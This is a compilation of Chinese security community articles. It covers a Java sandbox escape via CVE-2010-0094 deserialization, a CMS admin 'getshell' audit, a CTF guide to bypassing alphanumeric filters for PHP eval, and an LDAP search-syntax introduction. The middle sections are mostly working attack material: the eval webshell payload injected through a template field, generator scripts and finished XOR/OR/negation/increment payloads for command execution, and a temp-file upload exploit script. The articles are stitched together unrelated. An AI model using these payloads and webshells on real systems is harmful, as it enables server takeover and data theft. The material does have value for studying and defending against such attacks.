**\----[ 4.4 - 序列化**
* * *
**\------[ 4.4.1 - 背景知识**
* * *
Java允许运行时将对象转换为字节流，以便于实现持久性和网络通信。将对象转换为字节序列称为序列化，而将字节流转换为对象的相反过程则称为反序列化。有时候，反序列化过程的某些部分是在特权上下文中完成的。因此，安全分析人员可以利用这一点，具体来说就是通过实例化因缺少权限而通常不允许实例化的对象。一个典型的例子是类
_java.lang.ClassLoader_ 。安全分析人员（总是在没有权限的情况下）通常无法直接实例化_ClassLoader_的子类 _S_
，因为_ClassLoader_的构造函数会检查调用方是否具有CREATE_CLASSLOADER权限。但是，如果他发现了在特权上下文中反序列化_S_的序列化版本的方法的话，最终就可能得到_S_的实例。请注意，_S_的序列化版本可以由攻击范围之外的安全分析人员创建（例如，在他自己的机器上，在没有沙箱的JVM的环境中）。在攻击期间，序列化版本只是表示_S_实例的数据。在本节中，我们将展示如何利用CVE-2010-0094来利用系统代码，该系统代码对特权上下文中安全分析人员提供的数据进行反序列化。利用这种攻击方法，攻击者可执行任意代码，从而绕过所有沙箱限制。
**\------[ 4.4.2 – 示例: CVE-2010-0094**
* * *
漏洞CVE-2010-0094 [35]位于方法RMIConnectionImpl.createMBean(String, ObjectName,
ObjectName, MarshalledObject, String[],
Subject)中。_MarshalledObject_类型的第四个参数包含对象_S_的字节化表示，并且该对象是在特权上下文中进行反序列化的（在具有所有权限的doPrivileged()调用内）。所以，安全分析人员可以通过传递任意对象来创建用于反序列化的MBean()。在这里，传递的是_java.lang.ClassLoader_的子类：
--------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable {
}
---------------------------------------------------------------------------
在易受攻击的JVM版本（例如，1.6.0_17）中，实例化对象_S_时的调用堆栈如下所示：
--------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
2: S(ClassLoader).<init>() line: 226 [local variables
unavailable]
4: GeneratedSerializationConstructorAccessor1.newInstance(Object[])
line: not available
6: Constructor<T>.newInstance(Object...) line: 513
7: ObjectStreamClass.newInstance() line: 924
8: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readOrdinaryObject(boolean) line: 1737
10: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readObject0(boolean) line: 1329
12: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readObject() line: 351
14: MarshalledObject<T>.get() line: 142
15: RMIConnectionImpl$6.run() line: 1513
16: AccessController.doPrivileged(PrivilegedExceptionAction<T>)
line: not available [native method]
18: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
Class<T>) line: 1505
20: RMIConnectionImpl.access$500(MarshalledObject, ClassLoader,
Class) line: 72
22: RMIConnectionImpl$7.run() line: 1548
23: AccessController.doPrivileged(PrivilegedExceptionAction<T>)
line: not available [native method]
25: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
ClassLoader, Class<T>) line: 1544
27: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
MarshalledObject, String[], Subject) line: 376
29: Exploit.exploit() line: 79
30: Exploit(BypassExploit).run_exploit() line: 24
31: ExploitBase.run(ExploitBase) line: 20
32: Exploit.main(String[]) line: 19
---------------------------------------------------------------------------
我们注意到，反序列化是在特权上下文中（在第16行和第23行的doPrivileged()内）进行的。请注意，它是_ClassLoader_类（`<init>()`，可信代码）的构造函数，它位于堆栈中，而不是
_S_
（分析器类，不可信代码）的构造函数中。请注意，在第2行“S（ClassLoader）”意味着_ClassLoader_位于堆栈中，而不是_S_中。如果_S_已经位于堆栈中，_ClassLoader_构造函数中的权限检查会抛出安全异常，因为不受信任的代码（因此没有权限）出现在了堆栈中。为什么_S_不在调用堆栈中呢？答案请参考序列化协议[34]的相关文档：被调用的构造函数是没有实现_Serializable_接口的类层次结构的第一个构造函数。在我们的示例中，由于_S_已经实现了
_Serializable_ ，因此，不会调用其构造函数。不过，_S_扩展自 _ClassLoader_ ，它并没有实现 _Serializable_
。因此，反序列化系统代码回调用_ClassLoader_的空构造函数。因此，堆栈跟踪仅在特权上下文中包含堆栈上的受信任系统类（在doPrivileged()之后可能存在不受信任的代码，因为在检查调用堆栈时，权限检查将在doPrivileged()方法处停止）。所以，
_ClassLoader_中的权限检查将会成功通过。
但是，后来在系统代码中，_S_的这个实例被强制转换为既非_S_也非_ClassLoader_类型的实例。那么，安全分析人员如何找到这个实例呢？
一种方法是向_S_添加静态字段以及向_S_类添加方法以在静态字段中保存_S_实例的引用：
--------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable {
public static S myCL = null;
private void readObject(java.io.ObjectInputStream in)
throws Throwable {
S.myCL = this;
}
}
---------------------------------------------------------------------------
readObject()方法是在反序列化期间（通过上面调用堆栈中第8行的readOrdinaryObject()）调用的一个特殊方法。调用它的时候，还没有进行权限检查，因此，不受信任的代码（即S.readObject()方法）可以出现在调用堆栈中。
这个时候，安全分析人员可以访问_S_的实例。由于_S_是_ClassLoader_的子类，因此，分析人员可以定义一个带有全部权限的新类来禁用安全管理器（类似于3.1.1节中的方法）。这样的话，沙箱就会被禁用，安全分析人员就可以执行任意代码了。
这个漏洞影响到14个Java 1.6版本（从版本1.6.0_01到1.6.0_18）。直到版本1.6.0_24发布是，该漏洞才得到修复。
以下“功能”的组合使安全分析人员能够绕过沙箱：（1）可信代码允许对不受信任的代码控制的数据进行反序列化，（2）在特权上下文中进行反序列化，以及（3）通过以下方式创建对象：反序列化的方法遵循与常规对象实例化不同的过程。
漏洞CVE-2010-0094已在Java
1.6.0更新24中得到了修复。对doPrivileged()的两次调用已从代码中删除。在修复后的版本中，当初始化_ClassLoader_时，权限检查将会失败，因为现在将检查整个调用堆栈（请参阅下面的新的调用堆栈内容）。第21行及其后不受信任的代码不再具有CREATE_CLASSLOADER权限。
--------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
2: MyClassLoader(ClassLoader).<init>() line: 226 [local variables
unavailable]
4: GeneratedSerializationConstructorAccessor1.newInstance(Object[])
line: not available
6: Constructor<T>.newInstance(Object...) line: 513
7: ObjectStreamClass.newInstance() line: 924
8: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readOrdinaryObject(boolean) line: 1736
10: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
.readObject0(boolean) line: 1328
12: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
.readObject() line: 350
14: MarshalledObject<T>.get() line: 142
15: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
Class<T>) line: 1523
17: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
ClassLoader, Class<T>) line: 1559
19: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
MarshalledObject, String[], Subject) line: 376
21: Exploit.exploit() line: 79
22: Exploit(BypassExploit).run_exploit() line: 24
23: ExploitBase.run(ExploitBase) line: 20
24: Exploit.main(String[]) line: 19
---------------------------------------------------------------------------
**\------[ 4.4.3 - 讨论**
* * *
这个漏洞表明，攻击者可以组合利用序列化协议的特性（仅调用特定构造函数）与易受攻击的系统代码，只要这些系统代码在特权上下文中对攻击者控制的数据进行反序列化，他们就能绕过沙箱并运行任意代码。此外，为了保持向后兼容，序列化协议修改起来非常困难，因此，安全人员已经就易受攻击的系统代码做出了相应的修改，从而修复了这里的漏洞。
**\--[ 5 - 结束语**
* * *
在本文中，我们着重介绍了Java平台的复杂安全模型，该模型已经饱受攻击20来年了。其中，我们不仅为读者展示了该平台包含的本机组件（如Java虚拟机），以及各种Java系统类（JCL），并且对系统的两个组成部分相关的攻击进行了全面的介绍，包括低级攻击，例如内存损坏漏洞，以及针对安全策略的执行的Java级攻击，例如受信任的方法链攻击。阅读本文后，读者就会对保护平台的安全性的难度有所体会。
在本文中，我们的内容是围绕案例研究进行组织的，以便于阐明诸如Java平台之类的复杂系统，是如何受到恶意代码的攻击的。希望这篇Java漏洞历史总结能够加深大家对系统安全的理解，从而有助于将来能够设计出更加安全的系统。
\--[ 6 - 参考资料
[1] Aleph One. "Smashing The Stack For Fun And Profit." Phrack 49 1996
[2] Oracle. "The History of Java Technology."
<http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-19>
8355.html, 2018
[3] Drew Dean, Edward W. Felten, Dan S. Wallach. "Java security: From
HotJava to Netscape and beyond." In Security & Privacy, IEEE, 1996
[4] Joshua J. Drake. "Exploiting memory corruption vulnerabilities in the
java runtime." 2011
[5] Esteban Guillardoy. "Java 0day analysis (CVE-2012-4681)."
<https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4>
681.html, 2012
[6] Jeong Wook Oh. "Recent Java exploitation trends and malware."
Presentation at Black Hat Las Vegas, 2012
[7] Security Explorations. "Oracle CVE ID Mapping SE - 2012 - 01, Security
vulnerabilities in Java SE." 2012
[8] Brian Gorenc, Jasiel Spelman. "Java every-days exploiting software
running on 3 billion devices." In Proceedings of BlackHat security
conference, 2013
[9] Xiao Lee and Sen Nie. "Exploiting JRE - JRE Vulnerability: Analysis &
Hunting." Hitcon, 2013
[10] Matthias Kaiser. "Recent Java Exploitation Techniques." HackPra, 2013
[11] Google,
<https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html>. "The
Final Countdown for NPAPI." 2014
[12] Mozilla,
<https://blog.mozilla.org/futurereleases/2015/10/08/npapi-plugins-in-firefox>
/. "NPAPI Plugins in Firefox." 2015
[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. "Exploiting
CVE-2017-3272." In Multi-System & Internet Security Cookbook (MISC), May
2018
[14] Red Hat. "CVE-2017-3272 OpenJDK: insufficient protected field access
checks in atomic field updaters (Libraries, 8165344)." Bugzilla - Bug
1413554 <https://bugzilla.redhat.com/show_bug.cgi?id=1413554> 2017
[15] Norman Maurer. "Lesser known concurrent classes -
Atomic*FieldUpdater." In
<http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part>
-1/
[16] Jeroen Frijters. "Arraycopy HotSpot Vulnerability Fixed in 7u55
(CVE-2014-0456)." In IKVM.NET Weblog, 2014
[17] NIST. "CVE-2016-3587." <https://nvd.nist.gov/vuln/detail/CVE-2016-3587>
[18] Vincent Lee. "When Java throws you a Lemon, make Limenade: Sandbox
escape by type confusion." In
<https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lem>
on-make-limenade-sandbox-escape-by-type-confusion
[19] Red Hat. "CVE-2015-4843 OpenJDK: java.nio Buffers integer overflow
issues (Libraries, 8130891)." Bugzilla - Bug 1273053
<https://bugzilla.redhat.com/show_bug.cgi?id=1273053>, 2015
[20] Alexandre Bartel. "Exploiting CVE-2015-4843." In Multi-System &
Internet Security Cookbook (MISC), January 2018
[21] Oracle. "The Java Virtual Machine Specification, Java SE 7 Edition:
4.10.2.4. Instance initialization methods and newly created objects."
<http://docs.oracle.com/javase/specs/jvms/se7/html/>
jvms-4.html#jvms-4.10.2.4, 2013
[22] National Vulnerability Database. "Vulnerability summary for
cve-2017-3289." <https://nvd.nist.gov/vuln/detail/CVE-2017-3289>
[23] Redhat. "Bug 1413562 - (cve-2017-3289) cve-2017-3289 openjdk: insecure
class construction (hotspot, 8167104)." <https://bugzilla.redhat.com/show>
bug.cgi?id=1413562.
[24] OpenJDK. "Openjdk changeset 8202:02a3d0dcbedd jdk8u121-b08 8167104:
Additional class construction refinements."
<http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd>.
[25] Oracle. "The java virtual machine specification, java se 7 edition:
4.7.4. the stackmaptable attribute."
<http://docs.oracle.com/javase/specs/jvms/se7/html/> jvms-4.html#jvms-4.7.4,
2013
[26] "Request for review (s): 7020118."
<http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/00>
1866.html
[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden.
"An in-depth study of more than ten years of java exploitation." In
Proceedings of the 23rd ACM Conference on Computer and Communications
[28] Eric Bruneton. "ASM, a Java bytecode engineering library."
<http://download.forge.objectweb.org/asm/asm-guide.pdf>
[29] LSD Research Group et al.. "Java and java virtual machine security,
vulnerabilities and their exploitation techniques." In Black Hat Briefings,
2002
[30] Drew Dean, Edward W Felten, and Dan S Wallach. "Java security: From
hotjava to netscape and beyond." In Proceedings, IEEE Symposium on Security
and Privacy, 1996, pages 190-200
[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao,
Manuel Valdiviezo, and Andrew Gross. "Translating java into llvm ir to
detect security vulnerabilities." In LLVM Developer Meeting, 2014
[32] Sami Koivu. "Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)."
[33] Oracle. "JList."
<https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html>
[34] Oracle. "Interface Serializable."
<https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html>
[35] Sami Koivu, Matthias Kaiser. "CVE-2010-0094."
<https://github.com/rapid7/metasploit-framework/tree/master/external/source/>
exploits/CVE-2010-0094 | 社区文章 |
# 记一次某 CMS 的后台 getshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
出于对审计的热爱，最近审了一下某 `cms`，审出了个后台 `getshell`，虽然危害不算太大，但是过程很有意思，在这里分享一下。
## 漏洞发现
### 代码审计
翻翻找找中找到了，这个函数：
function saxue_writefile( $_fileurl, $_data, $_method = "wb" ) {
$_fileopen = @fopen( $_fileurl, $_method ); // 尝试打开文件
if ( !$_fileopen ) {
return false;
}
@flock( $_fileopen, LOCK_EX );
$_ret = @fwrite( $_fileopen, $_data ); // 写入内容
@flock( $_fileopen, LOCK_UN );
@fclose( $_fileopen );
@chmod( $_fileurl, 511 );
return $_ret;
}
这是个纯洁的函数，没有任何的过滤，第一个参数是 `文件名`，第二个参数是 `内容`，这和 `file_put_contents` 函数一样。
现在我们有个 “高危函数”，我们可以找找哪里调用了他， 又经过了很多次翻翻找找，在 `adminpages.php` 下有一段引起了我的注意：
case 'html':
...
$row = `从 pages 数据表中获取值`;
saxue_writefile(
$filepath . '/' . $row['filename'] ,
$saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] )
);
...
这里省略了大部分代码，留下了两行关键的。
之所以注意起这行代码，是因为我看到这个最后的
`$row['filename']`。我就基本盲猜他是从数据库中拿出来的，这就说明了，我们有可能可以通过后台某项设置控制它。
然后我们看看第二个参数也是从 `row` 取出来的，当然，你会看到第二个参数还经过了一个函数： `$saxueTpl -> fetch` 。
由于他取出来的是 `template` 而且是 `fetch` 函数，我再一次盲猜他是获取文件内容的，这里暂时先不跟。
现在我们来看看这两个数值到底能不能控制，在 `case html` 下面，紧跟着的是 `case add`，我们来看看这个 `case add`。
case 'add':
$row = array();
if ( isset( $_POST['dosubmit'] ) ) {
$_POST['item'] = strtolower( trim( $_POST['item'] ) );
$_POST['title'] = trim( $_POST['title'] );
$_POST['content'] = trim( $_POST['content'] );
$_POST['htmldir'] = trim( $_POST['htmldir'] );
$_POST['htmlurl'] = trim( $_POST['htmlurl'] );
$_POST['filename'] = trim( $_POST['filename'] );
if ( isset( $_REQUEST['id'] ) ) {
$data = $data_handler -> create( false ); // 编辑时调用到此处
} else {
$data = $data_handler -> create(); // 根据 $_POST 创建一个数组，方便插入。
}
if ( !$data_handler -> insert( $data ) ) { // 插入 $data ，即 $_POST 的数据
saxue_printfail( LANG_ERROR_DATABASE );
}
果不其然，我们在这里看到了我们的 `filename`，在下面 `insert` 了，其间没有任何过滤。
当然你还会看这里没有 `template`，但是真的没有吗？我们可以测试看看。
### 漏洞测试
实践是检验真理的唯一标准。
访问后台的 `pages.php`：
点击添加单页，然后抓包：
当然，能不能任意改值呢？比如 `filename` 改成 `.php` 后缀，`template` 改成别的路径的文件可以嘛？
我们试试：
数据库：
最后我们要验证 `fetch` 函数到底是不是获取文件内容的，我们也不需要跟进函数内部，直接测试就好。
我们看到 `联系我们` 这个 `template` 是 `about.html`。我们去改一下 `about.html` 试试看：
然后此时触发那个 `case html` 下的代码。其实就是 `pages.php` 下的这个功能 ：
生成一下：
成功了。。现在我们可以兴高采烈地去写 `shell` 了。
## 漏洞复现
### 漏洞利用
想一下怎么利用，因为我们现在也没有文件可以给我们控制。
其实我们很容易想到上传一个图片文件，然后读取文件图片写 `shell` ，上手试试，那么哪里可以上传图片呢？第一个想到的当然是写文章的地方啊：
然后我们这时候用刚刚抓到的包再添加一个，构造一下 `参数`：
filename=test.php
template=../../../../attachs/image/1905/2722001482207.png
这里 `template` 是根据相对路径写出来的。
生成一下，访问，满心欢喜的期待着我们的 `shell` 出现：
What？出现了什么问题，我们去看看生成出来的文件（`/about/test.php`）：
为什么我们的文件名没了一半？看看数据库：
没错，我们的字段限制了长度：
在思考片刻后，我突然想到：`文件名输出在了我们的 php 中`
没错，我们可以把文件名写成一个 `shell`，这样我们就可以连图片也不用上传了。
改改参数：
filename=test.php
template=<?php eval($_GET[1]); ?>
再次重复刚刚的步骤，修改，然后生成：
成功了。。
访问 `/about/test.php` 试试：
## 字符串溯源
当然，这是一篇 `审计区` 的文章，秉着求知欲，我们看看这个字符串哪里来的。
回到一开始 `pages.php` 下 `case html`，就是这句话：
saxue_writefile(
$filepath . '/' . $row['filename'],
$saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] )
);
我们跟进 `fetch` 函数。
（这里因为代码比较多，我用了 `XBEBUG` 找到了关键位置。）
关键位置：
ob_start();
if(
$this -> _is_compiled( $template_file, $_template_compile_path ) ||
$this -> _compile_resource( $template_file, $_template_compile_path
))
{
include( $_template_compile_path . $this -> _compile_prefix );
}
$_template_results = ob_get_contents();
ob_end_clean();
倒数第二行的 `$_template_results` 就是返回值，这里是从 `ob_get_contents` 获取的。也就是缓冲区，但是从
`ob_start` 处到 `ob_get_contents` 就经历了一个 `if` 和一个 `include`。
我们先看看 `if` 的第一个条件：
`$this -> _is_compiled( $template_file, $_template_compile_path )`
这里说明一下第一个参数是我们数据库里 `template` 的值。
跟进一下 `_is_compiled` 函数：
public function _is_compiled( $tpl_file, $compile_path ) {
....
if ( !is_file( $tpl_file ) ) {
return false;
}
...
}
这里依然省略了一些代码，因为正常来说就是判断了 `$tpl_file` 是否存在，由于我们写的是一句话，所以不可能是文件，返回 `false`。
因为是 `||`，那么就会进入第二个判断：
`$this -> _compile_resource( $template_file, $_template_compile_path )`
跟进 `_compile_resource` 函数：
public function _compile_resource( $tpl_file, $compile_path ) {
if ( !is_file( $tpl_file ) ) {
echo "Template file (" . str_replace( SAXUE_ROOT_PATH, "", $tpl_file ) . ") is not exists!";
return false;
}
没错，这里还是判断了是否是文件，如果不是就输出 `模板文件 $tpl_file 不存在`，这句话里带有我们的文件名，此处的 `str_replace`
替换了一个无关紧要路径。
跳出函数，因为我们在 `_compile_resource` 函数内 `echo` 输出到了缓冲区。所以在下面获取的时候缓冲区内的数据就是：
`Template file (/templates/pc/pages/<?php eval($_GET[1]); ?>) is not exists!`
ob_start();
if (
$this -> _is_compiled( $template_file, $_template_compile_path )
||
$this -> _compile_resource( $template_file, $_template_compile_path // 如果文件不存在，输出一句带有文件名的话，存入缓冲区
)) {
include( $_template_compile_path . $this -> _compile_prefix );
}
$_template_results = ob_get_contents(); // 获取缓冲区的值，接下来会返回
此时这个字符串就被我们纯洁的 `saxue_writefile`，写进纯洁的 `test.php` 里了。
## 总结
这个漏洞其实还是很简单的，防御的话，我觉得可以在 `fetch`
函数中判断是否有一些特殊字符，或者干脆在找不到模板的时候干脆不输出文件名。其实我觉得应该还可以更好的防御方法，但是由于水平有限，希望表哥们如果有更好的方法可以一起探讨交流。 | 社区文章 |
题目例子
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
我们下面以命令`system('ls')`为例
**一、异或**
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
print(param)
php运行后生成一个txt文档，包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果
[+] your function：system
[+] your command：ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
将我们得到的结果复制过去即可,最终效果如下图所示。
**二、或**
原理是一样的，只需要在上面的脚本上稍加改动即可
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
print(param)
运行结果
[+] your function：system
[+] your command：ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
最终效果图
**三、取反**
因为取反的话，基本上用的都是一个不可见字符，所有不会触发到正则表达式，我们一个php脚本就可以了
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
效果图
**四、自增**
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
效果图
**五、上传临时文件**
具体原理可以看[p神文章](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)
#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
**结语：**
除这些之外我们还可以这样用`${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo`其中`"%86%86%86%86^%d9%c1%c3%d2"`为构造出的`_GET`，适合于过滤了引号的情况下使用。
#### 以上关于异或和或的脚本，有个小优点，我们可以根据题目具体的过滤形式进行修改。具体位置已在脚本中说明。 | 社区文章 |
# Windows内网协议学习LDAP篇之组和OU介绍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: daiker@360RedTeam
## 0x00 前言
这篇文章主要介绍AD里面的组和组织单位(OU)。
## 0x01 一些LDAP高级搜索语法
### 1\. LDAP 查找中的位操作
在LDAP
里面，有些字段是位字段，这里以userAccountControl举例，关于这个字段的详细意义，后面会详细介绍，这里先把他当做一个普通的位字段，不去考虑他的具体含义，这里先看下他的内容。
他的属性类位于架构分区的CN=User-Account-Control,CN=Schema,CN=Configuration,DC=test,DC=local
attributeSyntax是2.5.5.9,oMSyntax是2。
查表可知是32位的Integer类型。
之所以我们说他是位字段，是因为他是由一个个位构成。
比如说一个账户，他的LOCKOUT，以及NOT_DELEGATED，其他的位都没有，那这个用户的属性userAccountControl的值就为0x100000+0x0010。是个32
位 int 类型。
那现在的难题就变成。如果我要搜索域内所有设置了NOT_DELEGATED的所有对象。那在上一篇文章里面我们学到的LDAP语法就显得力不从心。因为上一篇文章的语法只能对某个属性进行过滤，还不能对属性里面的某个具体位进行过滤，这也是我们这一节要讲的内容。LDAP的语法支持按位搜索。
执行过滤器以搜索位字段，必须遵循以下语法：
<属性名称>：<BitFilterRule-ID> := <十进制比较值>
其中的<BitFilterRule-ID>，内容如下。
我们最常的是AND ，也就是1.2.840.113556.1.4.803
我们举几个例子。
我们想查询哪些对象设置了TRUSTED_FOR_DELEGATION
TRUSTED_FOR_DELEGATION对应的十进制比较值位524288
根据语法，我们就可以构造以下过滤规则
(userAccountControl:1.2.840.113556.1.4.803:=524288)
但是这种我们还得去记BitFilterRule，于是adfind提供了一个更为快捷的方式。
### 2\. LDAP 查找中的objectCategory和objectClass
#### （1） objectClass
在前面一节里面说过,在对象的objectClass
属性里面，可以看到这个对象是哪个类的实例，以及这个类的所有父类，比如说CN=jane,CN=Users,DC=test,DC=local的objectClass是top,person,organizationalPerson,user。那我们通过过滤语句(objectClass=user),(objectClass=organizationalPerson)都能找到这个对象。
所有的类都是top类的子类。因此当我们过滤(objectClass=top)可以找到域内的所有对象。
#### （2） objectCategory
在Windows Server 2008之前默认不对objectClass 属性进行索引。最初认为对多值属性(例如object
Class)进行索引会导致性能下降。如此一来，Windows 2000 附带了未索引的objectClass
属性和另一个已建立索引的单值属性，称为objectCategory。
接下来介绍下objectCategory这个属性。对象类的每个实例还具有一个objectCategory属性，该属性是一个单值属性。并且建立了索引。其中包含对象是其实例的类或其父类之一的专有名称。
比如说CN=jane,CN=Users,DC=test,DC=local.他的objectCategory是CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local
创建对象时，系统会将其objectCategory属性设置为由其对象类的defaultObjectCategory属性指定的值。无法更改对象的objectCategory属性。
如果我们想过滤所有objectCategory的属性为CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local的对象，这个很简单。
(objectCategory="CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local")
但是这样，又有点不方便，需要记住记住类的DN，所以LDAP在实现上实现了个小技巧。对象类有个属性lDAPDisplayName，指定他的显示名。事实上，我们看objectClass属性里面的类以及父类(比如top.person)，他的名字都是这个类的lDAPDisplayName
CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local的lDAPDisplayName是person.所以LDAP在实现上，支持用类的lDAPDisplayName作为搜索条件。所以如果我们想找所有CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local的实例，可以我简化为以下过滤规则。
(objectCategory=person)
#### (3) objectClass 与objectCategory的结合使用
如果想确保查询在所有版本的Active Directory上都能正常运行，建议使用 objectClass
和objectCategory结合。如果在目录中已经索引了ObjectClass ，或者所有域控制器都在运行Windows Server
2008或更高版本，则可以随意使用 objectClass，而不必担心会对性能产生影响。
这里我们介绍下objectClass 和objectCategory的集合使用。前面我们分别介绍了objectClass
以及objectCategory，但是没讲怎么把他们结合在一起使用。
我们这里再来理一理思路。
CN=jane,CN=Users,DC=test,DC=local这个对象。
他的objectClass是top,person,organizationalPerson,user。
他的objectCategory是person。
一个对象的objectClass 是一个类的对象类，以及这个对象类的所有父类。
一个对象的objectCategory 是一个类的对象类或者这个对象类的所有父类。
所以说一个对象的objectCategory 必定是objectClass 中的其中一个。
user，person，organizationalPerson类将其defaultObjectCategory设置为person。这允许像（objectCategory=
person）这样的搜索过滤器通过单个查询定位所有这些类的实例。
